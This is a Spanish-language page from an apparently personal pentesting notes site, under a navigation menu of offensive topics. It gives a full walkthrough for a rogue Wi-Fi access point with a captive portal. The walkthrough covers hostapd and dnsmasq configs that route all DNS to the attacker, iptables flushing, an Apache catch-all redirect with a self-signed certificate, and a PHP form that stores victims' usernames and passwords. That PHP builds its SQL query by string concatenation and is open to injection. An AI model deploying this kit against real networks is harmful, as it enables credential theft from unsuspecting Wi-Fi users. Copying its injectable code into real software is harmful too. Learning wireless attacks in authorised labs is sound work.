CyberSec Notes
  • Bienvenida
    • CyberSec Notes
  • Network Services
    • Port 21 - FTP
    • Port 22 - SSH
    • Port 23 - Telnet
    • Port 25 - SMTP
    • Port 53 - DNS
      • Deploy DNS Server with BIND
    • Port 80/443 - HTTP/HTTPS
      • Wordpress
      • CMS Made Simple (CMSMS)
    • Port 88 - Kerberos
    • Port 386, 636, 3268, 3269 - LDAP
    • Port 445 - SMB
    • Port 1521,1522-1529 - Oracle TNS Listener
    • Port 3128 - Squid
    • Port 5985, 5986 - WinRM
  • Command && Control
    • Sliver C2 [in progress]
  • Ataques en Entornos Windows
    • MalDev
      • AV Evasion
        • Function call obfuscation
      • Code Samples
        • Shellcode Execution C#
        • Shellcode Execution C++
        • Stager HTTP C#
        • Stager HTTP C++
        • Process Inyection C++
        • Process Inyection C#
        • XOR Encrypt C++
    • Directorio Activo
      • Spriying
      • Autenticacion Net-NTLMv2 y tipos de hashes
        • Pass the Hash
        • SMB Relay
      • Autenticación Kerberos
        • Extensiones del protocolo Kerberos (SPNs & PACs)
        • AS_REP Roasting
        • Kerberoasting
        • Silver Ticket Attack
        • Golden Ticket Attack
      • DCSync
      • Mimikatz
      • BloodHound
      • Privilege Escalation
        • PS Credentials in XML format
      • Utils
    • Amsi Bypass
    • Buffer Overflow
      • Stack Based 32 bits [in progress]
        • Windows SLMail 5.5
  • Ataques en Entornos Linux
    • Privilege escalation [in progress]
    • MalDev
      • Simple Reverse Shell
    • Buffer Over Flow
      • Stack Based 32 bits
        • Linux, Vulnerable functions in C programs
    • Persistencia
  • General
    • Host Discovery
    • Reverse Shells Cheet Sheet
    • Pivoting
      • Chisel
      • Port Forwarding
      • Nmap con pivoting
    • Google Dorks [in progress]
    • Denial of Service (DoS)
      • Low and Slow
    • Docker
  • Pentesting Web
    • XML External Entity Injection(XXE)
      • Portswigger Lab #1: Retrieve Files
      • Portswigger Lab #2: Perform SSRF
      • Portswigger Lab #6: Blind XXE to retrieve data via error messages
    • Open Redirect
    • LFI
      • Log Poisoning (Apache, SSH y SMPT)
  • Wireless Pentesting
    • Pre Connection Attacks
      • WEP
      • WPA/WPA2
    • Post Connection Attacks
      • ARP Spoof
    • Fake AP for Captive Portal
Powered by GitBook
On this page
  • 1. Creación del punto de acceso
  • Activar el punto de acceso
  1. Wireless Pentesting

Fake AP for Captive Portal

1. Creación del punto de acceso

Para esto paso vamos a necesitar 3 cosas para crear un punto de acceso:

a) Un router para montar el AP

b) Un servidor DHCP para asignar las direcciones ip's a los clientes

c)Un servidor DNS para manejar las peticiones

Primero se tiene que modificar iptables y activar la retransmisión de paquetes:

echo 1 > /proc/sys/net/ipv4/ip_forward  # Permite retransmititir paquetes de una interfaz de red a otra
iptables --flush                        # Borrar todas las reglas de iptables en las tablas "filter", "nat" y "mangle
iptables --table nat --flush            # Borrar todas las reglas de iptables en la tabla "nat".
iptables --delete-chain                 # Borrar todas las cadenas personalizadas de iptables en la tabla "filter".
iptables --table nat --delete-chain     # Borrar todas las cadenas personalizadas de iptables en la tabla "nat".
iptables -P FORWARD ACCEPT              # Permite el reenvío de paquetes entre interfaces de red.

Crear archivos necesarios para el AP:

dnsmasq.conf
# Nombre de la interfaz de red
interface=wlan0

# Rango de ip's y tiempo que van a durar
dhcp-range=10.0.0.10,10.0.0.100,8h

# Ip del gateway (ip nuestra)
dhcp-option=3,10.0.0.1

# Ip del dns (ip nuestra)
dhcp-option=6,10.0.0.1

# Redireccionar todas las requests a nuestra ip
address=/#/10.0.0.1
hostapd.conf
# Interfaz de red
interface=wlan0

# Nombre de la red
ssid=wifi

# Canal en el que va a estar nuestro AP
channel=1

# Driver de la interfaz de red
driver=nl80211

Crear certificado SSL:

openssl req -new -x509 -days 365 -out $(pwd)/cert.pem -keyout $(pwd)/cert.key

Redireccionar todo el tráfico hacia el server apache y habilitar SSL

a2enmod rewrite     # Habilita las rewritesrules en apache

a2enmod ssl                                   # Habilitar ssl
echo "Listen 443" >> /etc/apache2/ports.conf  # Opcional si no se configuró solo
# Agregar esas lineas al final del /etc/apache2/sites-enabled/000-default.conf

<VirtualHost *:443>
	SSLEngine On
	SSLCertificateFile /home/lorito/Desktop/cert.pem
	SSLCertificateKeyFile /home/lorito/Desktop/cert.key
</VirtualHost>
<Directory "/var/www/html">
	RewriteEngine On
	RewriteBase /
	RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]
	RewriteRule ^(.*)$ http://%1/$1 [R=301,L]
	RewriteCond %{REQUEST_FILENAME} !-f
	RewriteCond %{REQUEST_FILENAME} !-d
	RewriteRule ^(.*)$ / [L,QSA]
</Directory>

Ejemplo básico de login con PHP

apt install php-mysql # Permite usar mysql con php
apt install mariadb-server mariadb-client 

sudo mysql -u root 
CREATE DATABASE basededatos;l
CREATE USER 'usuario'@'localhost' IDENTIFIED BY 'contraseña';
GRANT ALL PRIVILEGES ON basededatos.* TO 'usuario'@'localhost';
FLUSH PRIVILEGES;
index.html
<!DOCTYPE html>
<html>
<head>
	<title>Formulario de registro</title>
</head>
<body>
	<form action="guardar.php" method="post">
		<label>Username:</label><br>
		<input type="text" name="username"><br>
		<label>Password:</label><br>
		<input type="password" name="password"><br><br>
		<input type="submit" value="Registrarse">
	</form>
</body>
</html>
<?php

// Conectar a la base de datos
$conexion = mysqli_connect("localhost", "usuario", "contraseña", "basededatos");

// Verificar la conexión
if (!$conexion) {
	die("Error al conectar a la base de datos: " . mysqli_connect_error());
}

// Recuperar los valores del formulario
$username = $_POST['username'];
$password = $_POST['password'];

// Insertar los valores en la base de datos
$sql = "INSERT INTO usuarios (username, password) VALUES ('$username', '$password')";

if (mysqli_query($conexion, $sql)) {
	echo "Registro guardado correctamente";
} else {
	echo "Error al guardar el registro: " . mysqli_error($conexion);
}

// Cerrar la conexión a la base de datos
mysqli_close($conexion);
?>

Activar el punto de acceso

hostapd $(pwd)/hostapd.conf -B
dnsmasq -C $(pwd)/dnsmasq.conf
ifconfig <wlan iface> 10.0.0.1 netmask 255.255.255.0
service apache2 start
service mysql start
PreviousARP Spoof

Last updated 2 years ago